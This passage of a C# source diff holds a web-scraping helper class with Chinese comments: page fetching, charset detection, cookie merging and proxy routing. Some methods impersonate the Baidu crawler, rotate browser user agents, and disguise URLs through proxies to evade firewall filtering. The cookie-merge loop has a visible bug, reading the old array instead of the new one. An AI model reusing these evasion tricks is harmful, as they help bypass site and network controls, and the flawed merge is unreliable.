"charset\\s*=\\s*(\\S+)").Trim(); + if (!String.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + if (String.IsNullOrEmpty(html)) + { + html = Encoding.GetEncoding("UTF-8").GetString(b); + string r = @"]*?charset=[""']*([\w-]+)[""']*"; + string c = GetRegexString(html.ToLower(), r); + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (c.ToLower() != "utf-8" && !String.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + else if (String.IsNullOrEmpty(c)) + html = Encoding.GetEncoding("gbk").GetString(b); + } + if (!String.IsNullOrEmpty(html)) + { + if (html.Substring(0, 1) == "锘") + html = Encoding.GetEncoding("UTF-8").GetString(b); + //if (html.Contains("�") && (html.Length - html.Replace("�", "").Length > 3)) + // html = Encoding.GetEncoding("gbk").GetString(b); + } + if (String.IsNullOrEmpty(html) && !String.IsNullOrEmpty(newurl)) + html = "重定向:" + newurl; + return html; + } + catch (Exception e) + { + return e.Message; + } + } + + /// + /// 自动识别代码模拟浏览器 + /// + /// + /// + public static string GetUrl(string getUrl, ref string cookies, ref string codeType) + { + if (String.IsNullOrEmpty(getUrl)) + return ""; + try + { + int retryTimes = 0; + GotoAgen: + if (String.IsNullOrEmpty(cookies)) + cookies = null; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(getUrl); + request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0"; + request.Method = "GET"; + request.Accept = "*/*"; + request.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + request.Headers.Add("Accept-Encoding", "gzip,deflate"); + request.Headers.Add("Cookie", cookies); + if (!BaseClass.IsTest) + request.Proxy = null; + request.AllowAutoRedirect = false; + request.Timeout = 10000; + HttpWebResponse response = (HttpWebResponse)request.GetResponse(); + Stream receiveStream = response.GetResponseStream(); + MemoryStream ms = new MemoryStream(); + int num = 0; + byte[] buffer = new byte[20480]; + do + { + try + { + num = receiveStream.Read(buffer, 0, buffer.Length); + if (num > 0) + ms.Write(buffer, 0, num); + } + catch + { + num = 0; + } + } + while (num > 0); + byte[] b = ms.ToArray(); + ms.Close(); + + b = ZipHelper.Decompress(b); + string cookies1 = response.Headers.Get("Set-Cookie"); + string location = response.Headers.Get("Location"); //跳转地址 + if (!String.IsNullOrEmpty(cookies1)) + cookies = UpCookies(cookies, cookies1); + string contentType = response.Headers["Content-Type"]; + string html = ""; + if (String.IsNullOrEmpty(location)) //不是跳转 + { + if (!String.IsNullOrEmpty(contentType)) + { + codeType = GetRegexString(contentType, "charset\\s*=\\s*(\\S+)").Trim(); + if (!String.IsNullOrEmpty(codeType)) + html = Encoding.GetEncoding(codeType).GetString(b); + } + if (String.IsNullOrEmpty(html)) + { + codeType = "UTF-8"; + html = Encoding.GetEncoding(codeType).GetString(b); + string r = @"<\s*meta.+charset\s*=\s*[""']*(\S+)[""'\s>]*"; + string c = GetRegexString(html, r).Trim(); + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!String.IsNullOrEmpty(c) && c.ToLower() != "utf-8") + { + html = Encoding.GetEncoding(c).GetString(b); + codeType = c; + } + } + } + if (retryTimes < 4 && (!String.IsNullOrEmpty(location) || String.IsNullOrEmpty(html))) + { + //下面是支持301和302跳转部分 + if (location.Length > 8 && (location.Substring(0, 7) == "http://" || location.Substring(0, 8) == "https://" || location.Substring(0, 6) == "ftp://")) + { + getUrl = location; + } + else + { + if (location.Substring(0, 1) == "/") + { + string[] l = getUrl.Split('/'); + if (l.Length > 3) + { + getUrl = ""; + for (int i = 0; i < 3; i++) + getUrl += l[i] + "/"; + getUrl += location.Substring(1, location.Length - 1); + } + } + else + { + if (getUrl.Substring(getUrl.Length - 1, 1) == "/") + getUrl += location; + else + getUrl += "/" + location; + } + } + retryTimes++; + goto GotoAgen; + } + return html; + } + catch + { + return ""; + } + } + /// + /// 更新cookies + /// + /// + /// + /// + private static string UpCookies(string old, string newc) + { + if (String.IsNullOrEmpty(old)) + { + return newc; + } + if (String.IsNullOrEmpty(newc)) + { + return old; + } + int io = 0; + old = old.Trim(); + newc = newc.Trim(); + string[] o = old.Split(';'); + string[] n = newc.Split(';'); + List c = new List(); + for (int i = 0; i < o.Length; i++) + { + CoockiesValue cv = new CoockiesValue(); + io = o[i].IndexOf("="); + if (io > -1) + { + cv.Title = o[i].Substring(0, io).Trim(); + cv.Value = o[i].Substring(io + 1, o[i].Length - io - 1).Trim(); + } + else + { + if (!String.IsNullOrEmpty(o[i])) + cv.Title = o[i].Trim(); + } + if (!String.IsNullOrEmpty(cv.Title)) + c.Add(cv); + } + for (int i = 0; i < n.Length; i++) + { + CoockiesValue cv = new CoockiesValue(); + io = o[i].IndexOf("="); + if (io > -1) + { + cv.Title = o[i].Substring(0, io).Trim(); + cv.Value = o[i].Substring(io + 1, o[i].Length - io - 1).Trim(); + } + else + { + if (!String.IsNullOrEmpty(o[i])) + cv.Title = o[i].Trim(); + } + if (!String.IsNullOrEmpty(cv.Title)) + { + bool isHad = false; + for (int j = 0; j < c.Count; j++) + { + if (cv.Title == c[j].Title) + { + c[j].Value = cv.Value; + isHad = true; + break; + } + } + if (!isHad) + c.Add(cv); + } + } + string temp = ""; + for (int i = 0; i < c.Count; i++) + { + if (String.IsNullOrEmpty(c[i].Value)) + temp += c[i].Title + "; "; + else + temp += c[i].Title + "=" + c[i].Value + "; "; + } + return temp; + } + /// + /// cookies值 + /// + public class CoockiesValue + { + /// + /// 名称 + /// + public string Title { get; set; } + /// + /// 值 + /// + public string Value { get; set; } + } + /// + /// 模拟百度蜘蛛下载页面 + /// + /// + /// + public static string ByBaidu(string url, string userAgent) + { + if (String.IsNullOrEmpty(url)) + { + return ""; + } + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.Method = "GET"; + request.Accept = "*/*"; + request.Headers.Add("Accept-Language", "zh-CN"); + request.Headers.Add("Accept-Encoding", "gzip,deflate"); + request.UserAgent = userAgent; + request.AllowAutoRedirect = false; + request.Timeout = 10000; + request.ReadWriteTimeout = 10000; + if (!BaseClass.IsTest) + request.Proxy = null; + HttpWebResponse response = (HttpWebResponse)request.GetResponse(); + Stream receiveStream = response.GetResponseStream(); + MemoryStream ms = new MemoryStream(); + int num = 0; + byte[] buffer = new byte[0x400]; + do + { + num = receiveStream.Read(buffer, 0, buffer.Length); + if (num > 0) + ms.Write(buffer, 0, num); + } + while (num > 0); + byte[] b = ms.ToArray(); + ms.Close(); + + b = ZipHelper.Decompress(b); + string contentType = response.Headers["Content-Type"]; + string html = ""; + if (!String.IsNullOrEmpty(contentType)) + { + string c = GetRegexString(contentType, "charset\\s*=\\s*(\\S+)").Trim(); + if (!String.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + if (String.IsNullOrEmpty(html)) + { + html = Encoding.GetEncoding("UTF-8").GetString(b); + string r = @"]*?charset=[""']*([\w-]+)[""']*"; + string c = GetRegexString(html.ToLower(), r); + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (c.ToLower() != "utf-8" && !String.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + else if (String.IsNullOrEmpty(c)) + html = Encoding.GetEncoding("gbk").GetString(b); + } + if (!String.IsNullOrEmpty(html)) + { + if (html.Substring(0, 1) == "锘") + html = Encoding.GetEncoding("UTF-8").GetString(b); + //if (html.Contains("�") && (html.Length - html.Replace("�", "").Length > 3)) + // html = Encoding.GetEncoding("gbk").GetString(b); + } + return html; + } + catch (Exception e) + { + return e.Message; + } + } + /// + /// 返回单个正则分析结果 + /// + /// + /// + /// + public static string GetRegexString(string HtmlString, string RegexString) + { + MatchCollection mc = Regex.Matches(HtmlString, RegexString, RegexOptions.IgnoreCase); + if (mc.Count > 0) + return mc[0].Groups[1].ToString(); + return ""; + } + + /// + /// Gbk 下载页面 + /// + /// + /// + public static string Gbk(string url) + { + if (String.IsNullOrEmpty(url)) + return ""; + try + { + WebClientx web = new WebClientx(); + web.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); + web.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + web.Headers.Add("User-Agent", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"); + web.Proxy = null; + byte[] b = web.DownloadData(url); + return Encoding.GetEncoding("gbk").GetString(b); + } + catch + { + return ""; + } + } + /// + /// post 数据 + /// + /// + /// + /// + public static string PostUtf8(string url, StringBuilder postData) + { + try + { + WebClientx wc = new WebClientx(); + byte[] sendData = Encoding.GetEncoding("utf-8").GetBytes(postData.ToString()); + wc.Headers.Add("ContentLength", sendData.Length.ToString()); + wc.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + wc.Proxy = null; + return Encoding.UTF8.GetString(wc.UploadData(url, "POST", sendData)); + } + catch + { + return ""; + } + } + /// + /// post 数据 + /// + /// + /// + /// + public static string PostUtf8(string url, byte[] byteData, int time) + { + WebClientx webClient = new WebClientx(); + try + { + webClient.Timeout = time; + webClient.Headers.Add("Accept-Encoding", "gzip,deflate"); + webClient.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)"); + webClient.Proxy = null; + byte[] b = webClient.UploadData(url, byteData); + string contentType = webClient.ResponseHeaders["Content-Type"]; + webClient.Dispose(); + webClient = null; + string html = ""; + if (!String.IsNullOrEmpty(contentType)) + { + string c = BaseRegex.GetMatchRegexString(contentType, "charset\\s*=\\s*(\\S+)"); + if (!String.IsNullOrEmpty(c)) + { + c = c.Trim(); + html = Encoding.GetEncoding(c).GetString(b); + } + } + if (String.IsNullOrEmpty(html)) + { + html = Encoding.GetEncoding("UTF-8").GetString(b); + string r = @"<\s*meta.+charset\s*=\s*[""']*(\S+)[""'\s>]*"; + string temp = BaseRegex.GetMatchRegexString(html.ToLower(), r); + if (String.IsNullOrEmpty(temp)) + return html; + string c = temp.Trim(); + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!String.IsNullOrEmpty(c) && c.ToLower() != "utf-8") + html = Encoding.GetEncoding(c).GetString(b); + } + return html; + } + catch + { + return ""; + } + } + /// + /// 浏览器标识 + /// + public static string UserAgent = @"Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/54.0.2840.99+Safari/537.36 +Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/31.0.1650.63+Safari/537.36 +Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+Win64;+x64;+Trident/5.0) +Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36 +Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36 +Mozilla/5.0+(Windows+NT+6.3;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko +Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+WOW64;+Trident/5.0) +Mozilla/5.0+(Windows+NT+6.3;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.1+(KHTML,+like+Gecko)+Chrome/21.0.1180.89+Safari/537.1 +Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2372.400 QQBrowser/9.5.10548.400"; + + /// + /// post 数据 + /// + /// + /// + /// + public static string PostUtf8(string url, string postData, string contentType = "") + { + //return PostUtf8(url, Encoding.UTF8.GetBytes(postData)); + + bool isError = false; + string[] l = UserAgent.Split('\n'); + reTry: + try + { + string codeType = "utf-8"; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.UserAgent = l[new Random(Guid.NewGuid().GetHashCode()).Next(l.Length)].Trim(); + byte[] byteData = Encoding.GetEncoding(codeType).GetBytes(postData); + request.Method = "POST"; + request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; + request.Timeout = BaseClass.TimeOut * 1000; + request.ReadWriteTimeout = BaseClass.TimeOut * 1000; + request.Proxy = null; + request.ContentType = "application/x-www-form-urlencoded; charset=" + codeType; + if (url.StartsWith("https://openapi.jinritemai.com/")) + { + request.Headers.Add("X-USE-BOE", "1"); + request.Headers.Add("Origin-From", "djt_prod"); + request.Headers.Add("djt_prod", "boe_time_sku"); + } + if (!string.IsNullOrEmpty(contentType)) + { + request.ContentType = contentType; + } + request.ContentLength = byteData.Length; + request.Referer = url; + request.CookieContainer = new CookieContainer(); + request.AllowAutoRedirect = false; + using (Stream requestStream = request.GetRequestStream()) + { + requestStream.Write(byteData, 0, byteData.Length); + } + HttpWebResponse response = (HttpWebResponse)request.GetResponse(); + + Stream receiveStream = response.GetResponseStream(); + StreamReader readStream = new StreamReader(receiveStream, Encoding.GetEncoding(codeType)); + return readStream.ReadToEnd().Trim(); + } + catch (Exception e) + { + LogSave.Add(e.ToString()); + //if (!isError) + //{ + // isError = true; + // goto reTry; + //} + return ""; + } + + } + /// + /// post 数据 + /// + /// + /// + /// + public static string PostUtf8(string url, byte[] byteData) + { + WebClientx webClient = new WebClientx(); + try + { + webClient.Timeout = 70; + webClient.Headers.Add("Accept-Encoding", "gzip,deflate"); + webClient.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)"); + webClient.Proxy = null; + byte[] b = webClient.UploadData(url, byteData); + string contentType = webClient.ResponseHeaders["Content-Type"]; + webClient.Dispose(); + webClient = null; + string html = ""; + if (!String.IsNullOrEmpty(contentType)) + { + string c = BaseRegex.GetMatchRegexString(contentType, "charset\\s*=\\s*(\\S+)"); + if (!String.IsNullOrEmpty(c)) + { + c = c.Trim(); + html = Encoding.GetEncoding(c).GetString(b); + } + } + if (String.IsNullOrEmpty(html)) + { + html = Encoding.GetEncoding("UTF-8").GetString(b); + string r = @"<\s*meta.+charset\s*=\s*[""']*(\S+)[""'\s>]*"; + string temp = BaseRegex.GetMatchRegexString(html.ToLower(), r); + if (String.IsNullOrEmpty(temp)) + return html; + string c = temp.Trim(); + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!String.IsNullOrEmpty(c) && c.ToLower() != "utf-8") + html = Encoding.GetEncoding(c).GetString(b); + } + return html; + } + catch + { + return ""; + } + } + + /// + /// POST读取详细 + /// + /// 提交地址 + /// 提交数据 + /// 浏览器头 + /// + public static string GetUtf8(string strUrl, string userAgen, string cookie = "", string accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8") + { + try + { + WebClientx web = new WebClientx(); + web.Headers.Add("Accept", accept); + web.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + web.Headers.Add("User-Agent", userAgen); + if (!string.IsNullOrEmpty(cookie)) + web.Headers.Add("Cookie", cookie); + web.Proxy = null; + byte[] b = web.DownloadData(strUrl); + return Encoding.UTF8.GetString(b); + } + catch (Exception e) + { + return ""; + } + } + + public static bool DownloadFileNew(string Urlstring, string FilePath, string cookies) + { + try + { + WebClientx wb = new WebClientx(); + if (File.Exists(FilePath)) + File.Delete(FilePath); + string userAgent = BaseClass.ChromeUserAgent; + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"); + wb.Headers.Add("X-Requested-With", "XMLHttpRequest"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + //if (!string.IsNullOrEmpty(cookies) && cookies.Contains("PDDAccessToken") && BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll["yangkeduo.com"].ContainsKey("PDDAccessToken")) + // wb.Headers.Add("accesstoken", BaseClass.CookiesAll["yangkeduo.com"]["PDDAccessToken"]); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + //if (!string.IsNullOrEmpty(refere)) + // wb.Headers.Add("Referer", refere); + cookies = GetCookies(Urlstring, cookies); + if (!String.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + wb.DownloadFile(Urlstring, FilePath); + return true; + } + catch (Exception e) + { + return false; + } + } + + public static string Resove(string html, string prefix, string subfix) + { + int inl = html.IndexOf(prefix); + if (inl == -1) + { + prefix = prefix.Replace("\"", "'"); + subfix = subfix.Replace("\"", "'"); + inl = html.IndexOf(prefix); + } + if (inl == -1) + { + return null; + } + inl += prefix.Length; + if (!string.IsNullOrEmpty(subfix)) + { + int inl2 = html.IndexOf(subfix, inl); + if (inl2 == -1) + { + return null; + } + string result = html.Substring(inl, inl2 - inl); + return result; + } + else + { + string result = html.Substring(inl); + return result; + } + } + + public static string GetCookies(string url, string cookies) + { + if (!String.IsNullOrEmpty(cookies)) + return cookies; + string mainDomain = GetHtml.GetMainDomain(GetHtml.GetDomain(url)); + if (BaseClass.CookiesAllString.ContainsKey(mainDomain)) + cookies = BaseClass.CookiesAllString[mainDomain]; + return cookies; + } + + + /// + /// URL GB2312转码 + /// + /// + /// + public static string UrlEncodeGb2312(string IndexKey) + { + if (String.IsNullOrEmpty(IndexKey)) + return ""; + return HttpUtility.UrlEncode(IndexKey, Encoding.GetEncoding("GB2312")); + + byte[] sarr = Encoding.GetEncoding("gb2312").GetBytes(IndexKey); + IndexKey = ""; + for (int i = 0; i < sarr.Length; i++) + { + IndexKey += "%"; + IndexKey += sarr[i].ToString("X2"); + } + return IndexKey; + } + /// + /// URL UTF-8转码 + /// + /// + /// + public static string UrlEncodeUtf8(string IndexKey) + { + if (String.IsNullOrEmpty(IndexKey)) + return ""; + return HttpUtility.UrlEncode(IndexKey, Encoding.UTF8); + byte[] sarr = Encoding.UTF8.GetBytes(IndexKey); + IndexKey = ""; + for (int i = 0; i < sarr.Length; i++) + { + IndexKey += "%"; + IndexKey += sarr[i].ToString("X2"); + } + return IndexKey; + } + /// + /// 用IE打开网址 + /// + /// + public static void OpenUrl(string url) + { + try + { + //if (url.Contains("http")) + // Process.Start("iexplore.exe", url); + //else + Process.Start(url); + } + catch + { + } + } + + /// + /// 下载文件 + /// + /// 下载地址 + /// 保存目录 + /// + public static bool DownloadFile(string Urlstring, string FilePath) + { + try + { + WebClientx mywebclient = new WebClientx(); + mywebclient.Timeout = 300; + if (File.Exists(FilePath)) + File.Delete(FilePath); + mywebclient.DownloadFile(Urlstring, FilePath); + return true; + } + catch + { + return false; + } + } + /// + /// 下载文件 + /// + /// 下载地址 + /// 保存目录 + /// + public static bool DownloadFile(string Urlstring, out byte[] b) + { + b = new byte[0]; + int times = 0; + Next: + try + { + WebClientx mywebclient = new WebClientx(); + b = mywebclient.DownloadData(Urlstring); + return true; + } + catch (Exception e) + { + if (e.Message.Contains("404")) + return false; + if (times < 4) + { + times++; + Thread.Sleep(3000); + goto Next; + } + return false; + } + + } + + + /// + /// 读取网址,兼容https,兼容任意编码 + /// + /// + /// + public static string GetUrl(string url) + { + WebClientx webClient = new WebClientx(); + try + { + webClient.Timeout = 30; + webClient.Headers.Add("Accept-Encoding", "gzip,deflate"); + webClient.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)"); + webClient.Proxy = null; + byte[] b = webClient.DownloadData(url); + b = ZipHelper.Decompress(b); + string contentType = webClient.ResponseHeaders["Content-Type"]; + webClient.Dispose(); + webClient = null; + string html = ""; + if (!String.IsNullOrEmpty(contentType)) + { + string c = BaseRegex.GetMatchRegexString(contentType, "charset\\s*=\\s*(\\S+)"); + if (!String.IsNullOrEmpty(c)) + { + c = c.Trim(); + html = Encoding.GetEncoding(c).GetString(b); + } + } + if (String.IsNullOrEmpty(html)) + { + html = Encoding.GetEncoding("UTF-8").GetString(b); + string r = @"<\s*meta.+charset\s*=\s*[""']*(\S+)[""'\s>]*"; + string c = BaseRegex.GetMatchRegexString(html.ToLower(), r).Trim(); + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!String.IsNullOrEmpty(c) && c.ToLower() != "utf-8") + html = Encoding.GetEncoding(c).GetString(b); + } + return html; + } + catch (Exception e) + { + LogSave.AddView(url + " 错误:" + e.Message.Replace("\r\n", " ")); + return null; + } + finally + { + try + { + if (webClient != null) + { + webClient.Dispose(); + webClient = null; + } + } + catch + { + } + } + } + + + /// + /// 获取域名 + /// + /// + /// + public static string GetDomain(string url) + { + try + { + url = url.ToLower(); + string temp = BaseRegex.GetMatchRegexString(url, @"([a-z0-9-\.]+\.[a-z]{2,8})"); + if (!String.IsNullOrEmpty(temp) && temp.Length > 1 && (temp.Substring(0, 1) == "." || temp.Substring(0, 1) == "-")) + return null; + if (!String.IsNullOrEmpty(temp)) + return temp; + if (url.Contains("//") && url.IndexOf("//") + 2 < url.Length) + url = url.Substring(url.IndexOf("//") + 2, url.Length - url.IndexOf("//") - 2); + if (url.Contains("/") && url.IndexOf("/") > 0) + url = url.Substring(0, url.IndexOf("/")); + return url; + } + catch + { + return null; + } + } + + /// + /// 获取域名&ip + /// + /// + /// + public static string GetDomainIp(string url) + { + if (String.IsNullOrEmpty(url)) + return null; + url = url.ToLower(); + string temp = BaseRegex.GetMatchRegexString(url, @"http[s]{0,1}://([a-z0-9-\.]+\.[a-z]{2,8}|[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3})"); + if (!String.IsNullOrEmpty(temp) && temp.Length > 1 && (temp.Substring(0, 1) == "." || temp.Substring(0, 1) == "-")) + return null; + if (!String.IsNullOrEmpty(temp)) + return temp; + return null; + } + + /// + /// 解析域名ip + /// + /// + /// + public static string GetIp(string domain) + { + try + { + for (int i = 0; i < 2; i++) + { + IPAddress[] aryIP = Dns.GetHostEntry(domain).AddressList; + if (aryIP.Length > 0) + return aryIP[0].ToString(); + Thread.Sleep(1000); //重试,防止DNS缓存 + } + return null; + } + catch + { + //SocketServer.ViewCode += "域名:" + domain + "无法解析\r\n"; + return null; + } + } + /// + /// 是否是域名 + /// + /// + /// + public static bool IsDomain(string domain) + { + string temp = BaseRegex.GetMatchRegexString(domain, @"([a-z0-9-\.]+\.[a-z]{2,8})"); + if (!String.IsNullOrEmpty(temp) && temp.Length > 1 && (temp.Substring(0, 1) == "." || temp.Substring(0, 1) == "-")) + return false; + if (temp == domain) + return true; + return false; + } + + /// + /// 获取顶级域名 + /// + /// + /// + public static string GetMainDomain(string domain) + { + if (String.IsNullOrEmpty(domain)) + return ""; + domain = domain.ToLower(); + if (!domain.Contains(".") || domain.Length < 4) + return ""; + string[] d = domain.Split('.'); + string main = d[d.Length - 2] + "." + d[d.Length - 1]; //原始域名 + if (d.Length > 2 && + (d[d.Length - 2] == "com" || d[d.Length - 2] == "net" || d[d.Length - 2] == "org" || + d[d.Length - 2] == "gov" || d[d.Length - 2] == "edu" || d[d.Length - 2] == "co")) + main = d[d.Length - 3] + "." + main; + return main; + } + /// + /// 解密Jsion + /// + /// + /// + public static string Decode(string s) + { + s = WebUtility.HtmlDecode(s); + Regex reUnicode = new Regex(@"\\u([0-9a-fA-F]{4})", RegexOptions.Compiled); + return reUnicode.Replace(s, m => + { + short c; + if (Int16.TryParse(m.Groups[1].Value, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out c)) + { + return "" + (char)c; + } + return m.Value; + }); + } + + + /// + /// 获取国内IP + /// + /// + public static string ProxyIpIn() + { + if (BaseClass.ProxyIn.Count == 0) + return ""; + Random ra = new Random(Guid.NewGuid().GetHashCode()); + return BaseClass.ProxyIn[ra.Next(BaseClass.ProxyIn.Count)]; + } + /// + /// 获取美国IP + /// + /// + public static string ProxyIpOut() + { + if (BaseClass.ProxyOut.Count == 0) + return ""; + Random ra = new Random(Guid.NewGuid().GetHashCode()); + return BaseClass.ProxyOut[ra.Next(BaseClass.ProxyOut.Count)]; + } + /// + /// 获取国内IP代理URL地址 + /// + /// + public static string ProxyIpInUrl(string url) + { + if (BaseClass.ProxyIn.Count == 0) + return url; + Random ra = new Random(Guid.NewGuid().GetHashCode()); + string ip = BaseClass.ProxyIn[ra.Next(BaseClass.ProxyIn.Count)]; + return "http://" + ip + ":6000/url=" + ReplaceUrl(url); + } + /// + /// 获取美国IP代理URL地址 + /// + /// + public static string ProxyIpOutUrl(string url) + { + if (BaseClass.ProxyOut.Count == 0) + return url; + Random ra = new Random(Guid.NewGuid().GetHashCode()); + string ip = BaseClass.ProxyOut[ra.Next(BaseClass.ProxyOut.Count)]; + return "http://" + ip + ":6000/url=" + ReplaceUrl(url); + } + /// + /// 替换链接,防止防火墙 + /// + /// + /// + public static string ReplaceUrl(string url) + { + if (String.IsNullOrEmpty(url)) + return ""; + string newurl = ""; + string[] l = url.Split('.'); + for (int i = 0; i < l.Length; i++) + { + if (l[i].Length > 2) + newurl += l[i].Substring(0, l[i].Length - 2) + "***ooo***" + l[i].Substring(l[i].Length - 2, 2); + else + newurl += l[i]; + if (i < l.Length - 1) + newurl += "."; + } + return newurl.Replace(".google.", ".goo00gle.").Replace("?", "%3f").Replace("=", "%3d").Replace("&", "%26"); + } + /// + /// 还原链接 + /// + /// + /// + public static string ReplaceUrlBak(string url) + { + if (String.IsNullOrEmpty(url)) + return ""; + string newurl = url.Replace("***ooo***", ""); + if (String.IsNullOrEmpty(newurl)) + return ""; + return newurl.Replace(".goo00gle.", ".google.").Replace("%3f", "?").Replace("%3d", "=").Replace("%26", "&"); + } + /// + /// 生成URL绝对地址 + /// + /// 新URL + /// 源地址 + /// + public static string BuildUrl(string url, string oldurl) + { + if (String.IsNullOrEmpty(url)) + return oldurl; + if (url.Contains("tencent:/")) + return url; + if (url.Length > 8 && url.Substring(0, 8).Contains("://")) + { + if (url.Length - url.Replace("/", "").Length == 2) + url += "/"; + return url; + } + + string homeurl = BaseRegex.GetMatchRegexString(oldurl.ToLower(), "(http://[^/]*?)/"); + if (String.IsNullOrEmpty(homeurl)) + { + homeurl = BaseRegex.GetMatchRegexString(oldurl.ToLower(), "(http://[^/]+)") + "/"; + if (String.IsNullOrEmpty(homeurl)) + { + //BaseClass.ViewCode += "网址:" + oldurl + "识别失败\r\n"; + return url; + } + } + if (url.Substring(0, 1) == "/") + { + string newurlx = homeurl + url; + newurlx = newurlx.Replace("//", "/").Replace("http:/", "http://"); + return newurlx; + } + string[] l = oldurl.Split('/'); + int cute = l.Length; + if (l.Length > 3) + cute--; + while (url.Contains("../")) + { + int s = url.IndexOf("../"); + if (s == 0) + url = url.Substring(3); + else + url = url.Substring(0, s) + url.Substring(s + 3); + cute--; + if (cute < 3) + cute = 3; + } + string newurl = ""; + for (int i = 0; i < cute; i++) + newurl += l[i] + "/"; + newurl = newurl + url; + return newurl.Replace("//", "/").Replace("http:/", "http://").Replace("/./", "/"); + } + 